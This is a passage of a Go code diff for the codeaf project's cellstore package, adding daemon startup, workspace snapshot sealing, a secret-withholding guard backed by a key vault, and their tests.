0, os.ErrInvalid + } + pid = pid*10 + int(r-'0') + } + return pid, nil +} + +// awaitRunning waits until pid has become the program, so that its descriptors +// are the ones the program was started with. +func awaitRunning(t *testing.T, pid int, dir string) { + t.Helper() + for deadline := time.Now().Add(5 * time.Second); time.Now().Before(deadline); time.Sleep(10 * time.Millisecond) { + raw, _ := os.ReadFile(filepath.Join("/proc", strconv.Itoa(pid), "cmdline")) + if bytes.Contains(raw, []byte(dir)) { + time.Sleep(50 * time.Millisecond) + return + } + } + t.Fatal("the daemon never started") +} + +func TestStopSpawnedLeavesNoDaemonBehind(t *testing.T) { + if _, err := os.Stat("/proc/self/cmdline"); err != nil { + t.Skip("no /proc to scan") + } + dir := t.TempDir() + // A descriptor handed down without close-on-exec, as a wrapper's lock is. + lock, err := os.Open(os.DevNull) + if err != nil { + t.Fatal(err) + } + defer lock.Close() + if _, _, errno := syscall.Syscall(syscall.SYS_FCNTL, lock.Fd(), syscall.F_SETFD, 0); errno != 0 { + t.Fatal(errno) + } + program := idlingEngine(t, dir) + if _, err := launch(Daemon{Binary: program, Socket: filepath.Join(dir, "v3", "e.sock")}); err != nil { + t.Fatal(err) + } + spawnedMu.Lock() + pid := spawned[len(spawned)-1].process.Pid + spawnedMu.Unlock() + awaitRunning(t, pid, dir) + held, _ := os.ReadDir(filepath.Join("/proc", strconv.Itoa(pid), "fd")) + for _, entry := range held { + target, _ := os.Readlink(filepath.Join("/proc", strconv.Itoa(pid), "fd", entry.Name())) + if target == program { // the shell holds its own script open + continue + } + if entry.Name() != "0" && entry.Name() != "1" && entry.Name() != "2" { + t.Errorf("the daemon inherited descriptor %s; only stdin, stdout and stderr may pass", entry.Name()) + } + } + if len(aliveUnder(dir)) == 0 { + t.Fatal("the daemon is not running before the teardown, so the test proves nothing") + } + StopSpawned() + if left := aliveUnder(dir); len(left) != 0 { + t.Fatalf("daemons %v outlived StopSpawned", left) + } +} diff --git a/internal/cellstore/daemonstart.go b/internal/cellstore/daemonstart.go new file mode 100644 index 0000000000..5cb50a7f08 --- /dev/null +++ b/internal/cellstore/daemonstart.go @@ -0,0 +1,118 @@ +package cellstore + +import ( + "context" + "fmt" + "net" + "os" + "os/exec" + "path/filepath" + "sync" + "syscall" + "testing" + "time" +) + +// idleMinutes is how long the daemon outlives its last client. The next verb +// after it exits starts it again, so the value costs latency, never correctness. +const idleMinutes = "10" + +// testIdleMinutes is how long a daemon started by a test binary outlives its +// last client. A test that crashes before its teardown runs leaves the daemon +// behind, and a short idle exit is what lets that leak heal itself. +const testIdleMinutes = "1" + +// idleFlag is the --idle-minutes value the daemon is started with. +func idleFlag() string { + if testing.Testing() { + return testIdleMinutes + } + return idleMinutes +} + +// retryAfter is how long a daemon that failed to start is left alone: every +// verb in that window goes straight to the fallback. +const retryAfter = 30 * time.Second + +var ( + startMu sync.Mutex + failed = map[string]failure{} // socket -> last failed start +) + +type failure struct { + at time.Time + err error +} + +// startAndDial starts the daemon behind d.Socket and dials it, one start at a +// time per process. A start that finds the daemon already there (another +// process won the race for the socket) is a success: the daemon exits quietly +// when it loses. +func startAndDial(ctx context.Context, d Daemon) (net.Conn, error) { + startMu.Lock() + defer startMu.Unlock() + if conn, err := dial(ctx, d.Socket); err == nil { + return conn, nil // an earlier caller started it while this one waited + } + if f, ok := failed[d.Socket]; ok && time.Since(f.at) < retryAfter { + return nil, f.err + } + conn, err := launchAndDial(ctx, d) + if err != nil { + failed[d.Socket] = failure{at: time.Now(), err: err} + } + return conn, err +} + +func launchAndDial(ctx context.Context, d Daemon) (net.Conn, error) { + exited, err := launch(d) + if err != nil { + return nil, err + } + return awaitDial(ctx, d.Socket, exited) +} + +// launch starts the daemon and answers a channel that closes when it exits. +func launch(d Daemon) (<-chan struct{}, error) { + bin, err := Spawn{Binary: d.Binary}.program() + if err != nil { + return nil, err + } + if err := os.MkdirAll(filepath.Dir(d.Socket), 0o700); err != nil { + return nil, err + } + sealInheritedDescriptors() + cmd := exec.Command(bin, "serve", "--socket", d.Socket, "--idle-minutes", idleFlag()) //codeaf:plumbing starts the engine's long-lived daemon + cmd.SysProcAttr = &syscall.SysProcAttr{Setsid: true} + if err := cmd.Start(); err != nil { + return nil, fmt.Errorf("start engine daemon: %w", err) + } + exited := make(chan struct{}) + remember(cmd.Process, exited) + go func() { // reap it; it outlives this call by design + _ = cmd.Wait() + close(exited) + }() + return exited, nil +} + +// startWait is how long a freshly started daemon has to begin listening. +const startWait = 5 * time.Second + +// awaitDial dials until the freshly started daemon listens. A daemon that +// exits first gets one last dial: it exits quietly when another daemon already +// holds the socket, and that one is listening. +func awaitDial(ctx context.Context, socket string, exited <-chan struct{}) (net.Conn, error) { + deadline := time.Now().Add(startWait) + for { + conn, err := dial(ctx, socket) + if err == nil || time.Now().After(deadline) || ctx.Err() != nil { + return conn, err + } + select { + case <-exited: + return dial(ctx, socket) + case <-time.After(10 * time.Millisecond): + } + } +} diff --git a/internal/cellstore/dirty.go b/internal/cellstore/dirty.go new file mode 100644 index 0000000000..69af5465ba --- /dev/null +++ b/internal/cellstore/dirty.go @@ -0,0 +1,80 @@ +package cellstore + +import ( + "context" + "encoding/json" + "fmt" + "path" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" +) + +// planOp asks what restoring a snapshot would change, and changes nothing. +type planOp struct { + Snapshot string `json:"snapshot"` +} + +func (planOp) Verb() string { return "plan" } + +func (o planOp) Args() []string { return []string{"--json", "rewind", o.Snapshot, "--dry-run"} } + +// Dirty says whether the cell's tree holds work its newest sealed state does +// not: the engine's own plan for restoring its workspace head lists exactly the +// paths that differ. The head is the engine's word for it, not the turn log's: +// a tree that arrived from another machine holds the head that was imported, +// whose own turn line is not in the log it carried. The harness's own .cell/ +// entry is not work, so it never counts. +// +// The daemon does not serve the plan, so this asks a spawned engine, which is +// always correct and runs once per takeover. +func (e Engine) Dirty(ctx context.Context, c cell.Cell) (bool, error) { + target := Target{Tree: e.tree(c), DataDir: e.LocalDir(c), CellDir: e.cellDir(c)} + out, err := Spawn{Binary: e.Binary}.Do(ctx, target, planOp{Snapshot: "head"}) + if err != nil { + return false, fmt.Errorf("dirty: %w", err) + } + return workChanged(out) +} + +// workChanged reads a plan and says whether any change is outside .cell/. +func workChanged(plan []byte) (bool, error) { + var doc struct { + Changes []struct { + Path string `json:"path"` + } `json:"changes"` + } + if err := json.Unmarshal(plan, &doc); err != nil { + return false, fmt.Errorf("dirty: unreadable plan: %w", err) + } + for _, ch := range doc.Changes { + if top, _, _ := strings.Cut(path.Clean(ch.Path), "/"); top != cell.StateDir { + return true, nil + } + } + return false, nil +} + +// rebindOp tells the engine that the tree it restored at From now stands at the +// path the verb is run in. +type rebindOp struct { + From string `json:"from"` +} + +func (rebindOp) Verb() string { return "rebind" } + +func (o rebindOp) Args() []string { return []string{"--json", "rebind", "--from", o.From} } + +// Follow registers the tree of to as the tree of from, which was restored and +// then moved into place. The engine knows a workspace by its path, so without +// this the moved folder is one it has never heard of: it cannot say what the +// folder holds that its newest sealed state does not, until something seals it. +// The daemon does not serve the verb, so this asks a spawned engine, once per +// takeover. +func (e Engine) Follow(ctx context.Context, from, to cell.Cell) error { + target := Target{Tree: e.tree(to), DataDir: e.LocalDir(to)} + if _, err := (Spawn{Binary: e.Binary}).Do(ctx, target, rebindOp{From: e.tree(from)}); err != nil { + return fmt.Errorf("follow: %w", err) + } + return nil +} diff --git a/internal/cellstore/doc.go b/internal/cellstore/doc.go new file mode 100644 index 0000000000..1c14961bbd --- /dev/null +++ b/internal/cellstore/doc.go @@ -0,0 +1,55 @@ +// Package cellstore seals a cell: at every tool-call boundary it turns what the +// call did into a Receipt, snapshots the cell's folder through the embedded +// engine, and records the result as a Turn (docs/ARCHITECTURE.md 3.1, 4.3; +// docs/SCHEMAS.md 1, 5, 6). +// +// The seam is [Store]; [Engine] implements it. Engine composes the harness's +// files and hands the engine's verbs to a [Transport]: [Spawn] runs the engine +// once per verb, [Daemon] asks its long-lived process over a unix socket (the +// repository stays open, so a seal pays no store open), and [Fallback] uses the +// daemon and falls back to the spawn only when the daemon is absent +// (transportFor is the one place that chooses). Nothing above the interface +// knows which one answered. +// +// THE PIECES, EACH ONE JOB: +// +// - Turn and Receipt (types.go) are the persisted objects. Turn has exactly +// one constructor, newTurn (turn.go), and this package is the only one that +// calls it: law L2, enforced by law_test.go. +// - The WAL (wal.go) is the device-local call-intent log. An intent is +// written before a call, a completion after it. On reopen an intent with no +// completion is INCOMPLETE and is only ever surfaced, never re-run (L9). +// - Recorder (recorder.go) is the one hook: an executor.Executor decorator +// that logs intent, runs the call, logs completion, and seals. It exists +// unless CODEAF_CELLS=0 ([Wrap]); off, the executor is returned +// untouched. +// - Engine (engine.go) is the Store over the engine, one data directory per +// cell so writers never share a catalog lock. A seal is one turn-end verb +// (`hook turn-end --turn ` on the command line), which attaches +// a folder the engine has not seen and snapshots it with the agent-run +// trigger. The folder need not be a git repository, and none is ever +// created in it. +// - Transport (transport.go, daemon.go, ops.go) is how a verb reaches the +// engine; an Op is one verb in both its spellings. +// +// DEATH CREATES A BRANCH (L12). Every seal appends a Turn to .cell/turns.jsonl +// naming its parent, and engine snapshots are immutable, so a chain that a dead +// device sealed and never uploaded is still a chain with a known parent: stage 1 +// re-parents it as a child cell. Nothing here overwrites a turn. +// +// FAST PATH. The engine keeps a stat cache per store, so a file whose stat has +// not changed costs one statx and is neither opened nor read. A caller that +// knows what changed says so in [TurnInfo].Changed, and the engine then visits +// only those paths; without it the engine walks the folder through the cache. +// bench_test.go measures both on 10,000 files with one changed. +// +// DEFERRED (L10 layout). .cell/ still lives inside the folder tools run in, +// and the engine snapshots that folder as it stands. The seal therefore writes +// every harness-owned file under .cell/ (meta.json, receipts, blobs) itself, +// immediately before snapshotting, so what is sealed is what the harness +// wrote; the transcript is the session engine's file and is sealed as found. +// The engine can now do its half: `--cell-dir ` seals a directory outside +// the folder as the tree's .cell/ entry, and `rewind --cell-dir ` puts it +// back there. What is left is moving the cell's state directory out of the exec +// root and passing it, which belongs to the cell layout. +package cellstore diff --git a/internal/cellstore/engine.go b/internal/cellstore/engine.go new file mode 100644 index 0000000000..b0dedec85f --- /dev/null +++ b/internal/cellstore/engine.go @@ -0,0 +1,239 @@ +package cellstore + +import ( + "bytes" + "context" + "encoding/json" + "fmt" + "path/filepath" + "time" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/home" +) + +// dataDirEnv names where the engine keeps its store and catalog. One directory +// per cell means one catalog lock per writer: two writers never wait on each +// other and never share a store. +const dataDirEnv = "FURROW_DATA_DIR" + +// maxChangedArgs bounds the changed-path list passed on the command line. A +// longer list is not sent: the engine then walks the tree, which its stat cache +// keeps cheap, and that is always correct. +const maxChangedArgs = 512 + +// Runner runs one program and returns its stdout. Engine spawns through it so +// tests can count and fake spawns. +type Runner func(ctx context.Context, dir string, env []string, argv ...string) ([]byte, error) + +// Engine is the stage 0 Store: one engine spawn per seal. +type Engine struct { + // Binary is the engine program; empty means the configured or embedded + // engine, checked to be able to seal (see sealingEngine). + Binary string + // DataRoot holds one store directory per cell; empty means the state root's. + DataRoot string + // Workspace, when set, is the tree the engine seals: the folder the tools + // work in, which is not the cell's own. The cell's .cell/ directory is then + // composed in as the tree's .cell/ entry and nothing is written into the + // workspace. Empty seals the cell's folder itself. + Workspace string + // WorkspaceOf, when set, names the tree per cell and wins over Workspace. + // The take side needs it: one engine serves every chat a device continues, + // and each chat works in its own folder. + WorkspaceOf func(c cell.Cell) string + Identity Identity + // Compose, when set, adds files to the cell's .cell/ directory just before + // each seal captures it. Nil adds none. + Compose Composer + // Guard screens the tree for secrets before each seal (law L3); its zero + // value is the working guard. + Guard Guard + // Run runs the engine program for the spawn transport; setting it means + // every verb spawns, and the caller sees each spawn. + Run Runner + // Transport carries the engine's verbs; nil means transportFor's choice. + Transport Transport + Now func() time.Time +} + +var _ Store = Engine{} + +// Composer adds what a seal must carry that lives outside the sealed tree, such +// as the task working copies under the session folder's trees/. It writes into +// the cell's own .cell/ directory, which the engine captures with the tree. +type Composer interface { + Compose(c cell.Cell) error +} + +// Composers is several Composers run in order; the first that fails stops the +// seal, since a seal missing one of its carried parts is not the chat. +type Composers []Composer + +// Compose implements Composer. +func (cs Composers) Compose(c cell.Cell) error { + for _, one := range cs { + if err := one.Compose(c); err != nil { + return err + } + } + return nil +} + +// LocalDir is the device-local directory of a cell: the engine store and the +// call WAL. It is never inside the cell and never synced. +func (e Engine) LocalDir(c cell.Cell) string { return filepath.Join(e.Root(), c.ID) } + +// Root is the directory that holds one local directory per cell. +func (e Engine) Root() string { + if e.DataRoot == "" { + return home.Join("v3", "stores") + } + return e.DataRoot +} + +// Seal implements Store: compose the harness-owned files, snapshot the folder, +// record the turn. +func (e Engine) Seal(ctx context.Context, c cell.Cell, info TurnInfo) (Sealed, error) { + head, err := Head(c) + if err != nil { + return Sealed{}, fmt.Errorf("seal: read head: %w", err) + } + screened, err := e.Guard.Look(c, e.tree(c), e.policyDir(c), info.Changed, knownLocks(c)) + if err != nil { + return Sealed{}, fmt.Errorf("seal: %w", err) + } + if err := noteLeftOut(c, e.tree(c), screened, info.Calls); err != nil { + return Sealed{}, fmt.Errorf("seal: record what was left out: %w", err) + } + at := e.now() + receipt := newReceipt(info, transcriptRange(c, head), at) + raw, rid, err := receipt.encode() + if err != nil { + return Sealed{}, fmt.Errorf("seal: encode receipt: %w", err) + } + if err := e.compose(c, raw, rid, info); err != nil { + return Sealed{}, fmt.Errorf("seal: compose: %w", err) + } + snapshot, err := e.snapshot(ctx, c, rid, info.Changed) + if err != nil { + return Sealed{}, err + } + turn := newTurn(snapshot, parentOf(head), at, info, rid, e.identity()) + if err := appendTurn(c, turn); err != nil { + return Sealed{}, fmt.Errorf("seal: record turn: %w", err) + } + return Sealed{Turn: turn, Receipt: receipt}, nil +} + +func parentOf(head *Sealed) string { + if head == nil { + return "" + } + return head.Turn.ID +} + +func (e Engine) now() time.Time { + if e.Now == nil { + return time.Now() + } + return e.Now() +} + +func (e Engine) identity() Identity { + id := e.Identity + if id.Device == "" { + id.Device = zeroDevice + } + return id +} + +// snapshot takes one snapshot of the folder through the engine's turn-end +// seal, which attaches a folder it has not seen and seals it in one verb with +// the agent-run trigger. The label carries the receipt id, which is what ties +// a snapshot to its receipt until the engine has a receipt field of its own. +func (e Engine) snapshot(ctx context.Context, c cell.Cell, receipt string, changed []string) (string, error) { + out, err := e.do(ctx, c, e.cellDir(c), sealOp{Turn: receipt, Changed: changedPaths(changed)}) + if err != nil { + return "", fmt.Errorf("seal: snapshot: %w", err) + } + return parseSnapshot(out) +} + +// changedPaths is the paths the engine should visit instead of walking the +// folder, or nil when the caller does not know or the list is too long to +// send. The seal's own writes under the state directory always count as +// changed. +func changedPaths(changed []string) []string { + if changed == nil || len(changed) > maxChangedArgs { + return nil + } + return append([]string{cell.StateDir}, changed...) +} + +// tree is the folder the engine seals and restores. +func (e Engine) tree(c cell.Cell) string { + if w := e.workspace(c); w != "" { + return w + } + return c.Root +} + +// workspace is the folder the tools of c work in, "" when c's own folder is +// what is sealed. +func (e Engine) workspace(c cell.Cell) string { + if e.WorkspaceOf != nil { + return e.WorkspaceOf(c) + } + return e.Workspace +} + +// policyDir is where the harness keeps its exclusions: the cell's directory +// that is composed into a workspace, or the cell's own folder when that is +// what is sealed. The engine reads a .furrowpolicy from either. +func (e Engine) policyDir(c cell.Cell) string { + if e.workspace(c) == "" { + return c.Root + } + return stateDir(c) +} + +// cellDir is the cell's private .cell/ directory when it is composed into a +// tree that is not the cell's own folder, and empty otherwise. +func (e Engine) cellDir(c cell.Cell) string { + if e.workspace(c) == "" { + return "" + } + return stateDir(c) +} + +// cellDirArg names the directory the engine composes in as, and restores, the +// tree's .cell/ entry. +func cellDirArg(dir string) []string { return []string{"--cell-dir", dir} } + +// stateDir is the cell's own .cell/ directory. +func stateDir(c cell.Cell) string { return filepath.Join(c.Root, cell.StateDir) } + +// do runs one engine verb on the cell's folder against the cell's store, with +// cellDir composed in as the tree's .cell/ entry. +func (e Engine) do(ctx context.Context, c cell.Cell, cellDir string, op Op) ([]byte, error) { + target := Target{Tree: e.tree(c), DataDir: e.LocalDir(c), CellDir: cellDir} + return e.transport().Do(ctx, target, op) +} + +func (e Engine) transport() Transport { + if e.Transport != nil { + return e.Transport + } + return transportFor(e.Binary, e.Run) +} + +func parseSnapshot(out []byte) (string, error) { + var doc struct { + Snapshot string `json:"snapshot"` + } + if err := json.Unmarshal(out, &doc); err != nil || doc.Snapshot == "" { + return "", fmt.Errorf("seal: engine answered %q, not a snapshot id", bytes.TrimSpace(out)) + } + return doc.Snapshot, nil +} diff --git a/internal/cellstore/golden_test.go b/internal/cellstore/golden_test.go new file mode 100644 index 0000000000..9783f051ad --- /dev/null +++ b/internal/cellstore/golden_test.go @@ -0,0 +1,34 @@ +package cellstore + +import ( + "path/filepath" + "testing" + + "github.com/Agent-Field/codeaf/internal/lawcheck" +) + +var _ = lawcheck.UpdateFlag() + +// The WAL record is unexported, so its golden rows live here; the exported +// schemas are in internal/lawcheck. +func TestGoldenWALRecords(t *testing.T) { + intent := Intent{V: 1, Tool: "bash", ArgsHash: "d1f0", Started: 1759049981200, SideEffect: "external"} + done := Executed{ + Call: Call{Tool: "bash", ArgsHash: "d1f0", Started: 1759049981200, Ended: 1759049981940, StdoutHash: "0a1b", StderrHash: "e3b0", SideEffect: "external"}, + Services: []ServiceRec{{PID: 4711, Argv: []string{"postgres"}, Ports: []int{5432}}}, + Exact: false, Trigger: Setup, Changed: []string{"var/pg"}, Stdout: []byte("ok"), Stderr: []byte("warn"), + } + intentV2 := Intent{V: 2, Tool: "bash", ArgsHash: "d1f0", Started: 1759049981200, SideEffect: "local", Brief: "sleep 150"} + group := GroupRec{PGID: 4711, Start: 377568552, Owner: 4700, OwnerStart: 377567646} + for name, rec := range map[string]record{ + "wal.intent.v2": {V: 2, Op: opIntent, Intent: intentV2}, + "wal.group": {V: 2, Op: opGroup, Intent: intentV2, Group: &group}, + "wal.intent": {V: 1, Op: opIntent, Intent: intent}, + "wal.done": {V: 1, Op: opDone, Intent: intent, Done: &done}, + "wal.resolved": {V: 1, Op: opResolved, Intent: intent}, + } { + t.Run(name, func(t *testing.T) { + lawcheck.Golden(t, filepath.Join("testdata", name+".golden.json"), rec) + }) + } +} diff --git a/internal/cellstore/guard.go b/internal/cellstore/guard.go new file mode 100644 index 0000000000..aca782d3b4 --- /dev/null +++ b/internal/cellstore/guard.go @@ -0,0 +1,205 @@ +package cellstore + +import ( + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/home" + "github.com/Agent-Field/codeaf/internal/keys" +) + +// Guard is law L3: a secret never enters a sealed tree. Before each seal it +// scans what the seal will capture. A file that holds a secret goes out of the +// tree with one notice, and the vault carries it to the other machines whole +// (internal/vaultsync Files); the variables of an environment file also go to +// the vault one by one, which is what a tool's environment is made from. "Out of the tree" is the engine's own exclude policy (withheld.go), +// so the file stays where it is on this machine and is simply never captured. +// Nothing is written into the tree: the exclusions live in the cell's own folder. +// +// The zero Guard works: the vault lives in the codeaf home and a notice is one +// line on stderr. +type Guard struct { + // Home is the codeaf home that holds the vault; empty means the state root. + Home string + // Notify receives one line for a path newly withheld; nil writes to stderr. + Notify func(string) + // Ledger, when set, spares a file that has not changed since it was found + // clean from being read again; EngineFor sets one per session. + Ledger *keys.Ledger +} + +func (g Guard) home() string { + if g.Home == "" { + return home.Dir() + } + return g.Home +} + +func (g Guard) notify(line string) { + if g.Notify != nil { + g.Notify(line) + return + } + fmt.Fprintln(os.Stderr, "codeaf: "+line) +} + +// Screen is the pre-seal step for the tree the seal will capture. changed is +// the paths the seal will visit, nil for all of it. A path already withheld is +// looked at again every time, so a file is never re-announced and never +// forgotten. A failure to record the exclusion fails the seal: nothing is +// captured that was not screened. +func (g Guard) Screen(c cell.Cell, tree, policyDir string, changed []string) error { + _, err := g.Look(c, tree, policyDir, changed, nil) + return err +} + +// Look is [Guard.Screen] that also answers what else it found: the install +// folders this seal leaves out and the lockfiles it saw. locks is the lockfiles +// known from before, which a look at only the changed paths keeps. +func (g Guard) Look(c cell.Cell, tree, policyDir string, changed, locks []string) (Screened, error) { + policy, err := readPolicy(tree, policyDir) + if err != nil { + return Screened{}, fmt.Errorf("screen for secrets: %w", err) + } + left := g.leftOut(tree, changed, locks, policy) + policy = policy.leaving(left.paths()) + secrets, unreadable := splitUnreadable(g.scan(tree, changed, policy)) + next := policy.with(pathsOf(secrets)).unreadableAre(pathsOf(unreadable)) + if err := next.write(policyDir); err != nil { + return Screened{}, fmt.Errorf("screen for secrets: %w", err) + } + g.announce(policy, secrets) + g.announceUnreadable(policy, unreadable) + g.vault(c, tree, secrets) + left.Apart = next.apart() + return left, nil +} + +// splitUnreadable parts the findings that name a secret from those that name a +// path this machine could not read: the first go to the vault and the secrets +// block, the second only to their own block. +func splitUnreadable(found []keys.Finding) (secrets, unreadable []keys.Finding) { + for _, f := range found { + if f.Rule == keys.RuleUnreadable { + unreadable = append(unreadable, f) + } else { + secrets = append(secrets, f) + } + } + return secrets, unreadable +} + +// scan is the findings among what a seal of changed would capture, plus the +// paths already withheld or unreadable, which are looked at again so a file whose +// permissions were fixed goes back into the next seal. +func (g Guard) scan(tree string, changed []string, policy policyFile) []keys.Finding { + again := append(append([]string(nil), policy.withheld...), policy.unreadable...) + held := keys.Scanner{Skip: func(rel string) bool { return policy.isLeftOut(rel) || policy.isRebuilt(rel) }}.Paths(tree, again) + sc := keys.Scanner{Skip: skipping(policy), Ledger: g.Ledger} + if changed == nil || len(changed) > maxChangedArgs { + return append(held, sc.Walk(tree)...) + } + return append(held, sc.Paths(tree, changed)...) +} + +func skipping(policy policyFile) func(string) bool { + return func(rel string) bool { + return policy.isLeftOut(rel) || policy.isWithheld(rel) || policy.isRebuilt(rel) || policy.isUnreadable(rel) || policy.isHeld(rel) + } +} + +func pathsOf(found []keys.Finding) []string { + seen := map[string]bool{} + var out []string + for _, f := range found { + if !seen[f.Path] { + seen[f.Path] = true + out = append(out, f.Path) + } + } + return out +} + +// announce tells a person once about each path newly withheld. It names the +// file and the rule, never the value. +func (g Guard) announce(before policyFile, found []keys.Finding) { + for _, f := range found { + if !before.isWithheld(f.Path) { + g.notify(noticeFor(f)) + } + } +} + +// announceUnreadable tells a person once about each path newly left out because +// this machine cannot read it. +func (g Guard) announceUnreadable(before policyFile, found []keys.Finding) { + for _, f := range found { + if !before.isUnreadable(f.Path) { + g.notify(f.Path + " cannot be read here, so it is left out of the saved history until its permissions allow it") + } + } +} + +func noticeFor(f keys.Finding) string { + if f.Rule == keys.RuleDotenv { + return f.Path + " is kept in your key vault and out of the saved history; your tools still see its variables" + } + return f.Path + " looks like it holds a secret (" + f.Rule + "), so it is kept in your key vault and out of the saved history" +} + +// vault keeps the variables of every environment file found. A vault that +// cannot be written is told to the person; the file is still withheld. +func (g Guard) vault(c cell.Cell, tree string, found []keys.Finding) { + var files []string + for _, f := range found { + if f.Rule == keys.RuleDotenv { + files = append(files, f.Path) + } + } + if len(files) == 0 { + return + } + if err := g.importDotenv(scopeOf(c), tree, files); err != nil { + g.notify("could not keep " + strings.Join(files, ", ") + " in the key vault: " + err.Error()) + } +} + +func (g Guard) importDotenv(scope, tree string, files []string) error { + v, err := keys.Open(g.home()) + if err != nil { + return err + } + for _, rel := range files { + if _, err := v.ImportDotenv(filepath.Join(tree, rel), scope); err != nil { + return err + } + } + return nil +} + +// vaultEnv is the executor's view of the vault: the variables of one cell's +// project. +type vaultEnv struct{ cell cell.Cell } + +// Env implements executor.SecretSource. +func (v vaultEnv) Env() []string { return Guard{}.Env(v.cell) } + +// Env is the vault's variables for the cell's project, for a tool's +// environment on this machine. A machine with no vault has none. +func (g Guard) Env(c cell.Cell) []string { + if !keys.Exists(g.home()) { + return nil + } + v, err := keys.Open(g.home()) + if err != nil { + return nil + } + env, _ := v.Env(scopeOf(c)) + return env +} + +// scopeOf names the project a cell's secrets belong to. +func scopeOf(c cell.Cell) string { return keys.ScopeOf(c) } diff --git a/internal/cellstore/guard_test.go b/internal/cellstore/guard_test.go new file mode 100644 index 0000000000..11c169f27a --- /dev/null +++ b/internal/cellstore/guard_test.go @@ -0,0 +1,309 @@ +package cellstore + +import ( + "bytes" + "context" + "io/fs" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/keys" +) + +const fakeKey = "sk-or-v1-0123456789abcdef0123456789abcdef" + +type guardRig struct { + t *testing.T + tree string + cell cell.Cell + guard Guard + notice []string +} + +func newRig(t *testing.T) *guardRig { + r := &guardRig{t: t, tree: t.TempDir(), cell: newCell(t)} + r.guard = Guard{Home: t.TempDir(), Notify: func(s string) { r.notice = append(r.notice, s) }} + return r +} + +// state is where the guard keeps its exclusions: the cell's directory. +func (r *guardRig) state() string { return stateDir(r.cell) } + +func (r *guardRig) write(rel, text string) { + r.t.Helper() + path := filepath.Join(r.tree, rel) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + r.t.Fatal(err) + } + if err := os.WriteFile(path, []byte(text), 0o644); err != nil { + r.t.Fatal(err) + } +} + +func (r *guardRig) screen(changed ...string) { + r.t.Helper() + if err := r.guard.Screen(r.cell, r.tree, r.state(), changed); err != nil { + r.t.Fatal(err) + } +} + +func (r *guardRig) policy() policyFile { + r.t.Helper() + p, err := readPolicy(r.tree, r.state()) + if err != nil { + r.t.Fatal(err) + } + return p +} + +func TestScreenWithholdsDotenvAndKeepsItInTheVault(t *testing.T) { + r := newRig(t) + r.write(".env", "OPENROUTER_API_KEY="+fakeKey+"\n") + r.write("src/app.py", "print('hi')\n") + r.screen() + + if got := r.policy().withheld; len(got) != 1 || got[0] != ".env" { + t.Fatalf("withheld %v, want [.env]", got) + } + if _, err := os.Stat(filepath.Join(r.tree, policyName)); !os.IsNotExist(err) { + t.Fatalf("the guard wrote into the workspace: %v", err) + } + v, err := keys.Open(r.guard.Home) + if err != nil { + t.Fatal(err) + } + env, _ := v.Env(scopeOf(r.cell)) + if len(env) != 1 || env[0] != "OPENROUTER_API_KEY="+fakeKey { + t.Fatalf("vault env %v", env) + } + if got := r.guard.Env(r.cell); len(got) != 1 { + t.Fatalf("Env %v: the next tool call must see the variable", got) + } +} + +func TestScreenWithholdsAnyFileWithASecretAndSaysOnce(t *testing.T) { + r := newRig(t) + r.write("src/config.py", "KEY = '"+fakeKey+"'\n") + r.screen("src/config.py") + r.screen("src/config.py") + r.screen() + + if got := r.policy().withheld; len(got) != 1 || got[0] != "src/config.py" { + t.Fatalf("withheld %v", got) + } + if len(r.notice) != 1 || !strings.Contains(r.notice[0], "src/config.py") || strings.Contains(r.notice[0], fakeKey) { + t.Fatalf("notices %q: want one, naming the file and never the secret", r.notice) + } +} + +func TestScreenReleasesAFileThatIsCleaned(t *testing.T) { + r := newRig(t) + r.write("src/config.py", "KEY = '"+fakeKey+"'\n") + r.screen() + r.write("src/config.py", "KEY = os.environ['KEY']\n") + r.screen() + if got := r.policy().withheld; len(got) != 0 { + t.Fatalf("withheld %v after the secret was removed", got) + } + if _, err := os.Stat(filepath.Join(r.state(), policyName)); !os.IsNotExist(err) { + t.Fatalf("an empty policy file is left behind: %v", err) + } +} + +func TestScreenLeavesTemplatesInTheSealButStillJudgesTheirContent(t *testing.T) { + r := newRig(t) + r.write(".env.example", "OPENROUTER_API_KEY=your-key-here\n") + r.write(".env.sample", "TOKEN="+fakeKey+"\n") + r.write("config.template", "x=1\n") + r.screen() + if got := r.policy().withheld; len(got) != 1 || got[0] != ".env.sample" { + t.Fatalf("withheld %v: a placeholder template stays in the seal, one holding a real key does not", got) + } + if keys.Exists(r.guard.Home) { + t.Fatal("a template was imported into the vault") + } +} + +func TestScreenKeepsWhatThePersonWrote(t *testing.T) { + r := newRig(t) + r.write(policyName, "exclude node_modules\n") + r.write("node_modules/x/key.txt", fakeKey) + r.write("app/config.py", fakeKey) + r.screen() + p := r.policy() + if len(p.outside) != 1 || p.outside[0] != "exclude node_modules" || len(p.withheld) != 1 || p.withheld[0] != "app/config.py" { + t.Fatalf("policy %+v: the person's line stays, an excluded tree is not scanned", p) + } +} + +func TestScreenWritesNothingWhenTheTreeIsClean(t *testing.T) { + r := newRig(t) + r.write("a.txt", "hello\n") + r.screen() + if _, err := os.Stat(filepath.Join(r.state(), policyName)); !os.IsNotExist(err) { + t.Fatalf("clean tree got a policy file: %v", err) + } + if keys.Exists(r.guard.Home) { + t.Fatal("a clean tree created a vault") + } +} + +func TestScopeIsTheNormalizedRemoteElseTheCell(t *testing.T) { + same := []string{"https://github.com/Org/repo.git", "git@GitHub.com:Org/repo", "ssh://git@github.com/Org/repo.git/"} + want := keys.NormalizeRemote(same[0]) + for _, s := range same { + if got := keys.NormalizeRemote(s); got != want || strings.Contains(got, "@") { + t.Fatalf("normalize(%q) = %q, want %q", s, got, want) + } + } + c := newCell(t) + if scopeOf(c) != c.ID { + t.Fatalf("no remote: scope %q, want the cell id", scopeOf(c)) + } +} + +// TestL3_SecretsNeverEnterTheStore is the law: a key in .env and a key in a +// source file are in no object of the engine's store after sealing, and the +// .env value is still there for the next tool call. +func TestL3_SecretsNeverEnterTheStore(t *testing.T) { + forEachTransport(t, func(t *testing.T) { + e := realEngine(t) + r := newRig(t) + e.Workspace, e.Guard = r.tree, r.guard + r.write(".env", "OPENROUTER_API_KEY="+fakeKey+"\n") + r.write("src/config.py", "API = '"+fakeKey+"'\n") + r.write("src/main.py", "MARKER_KEPT 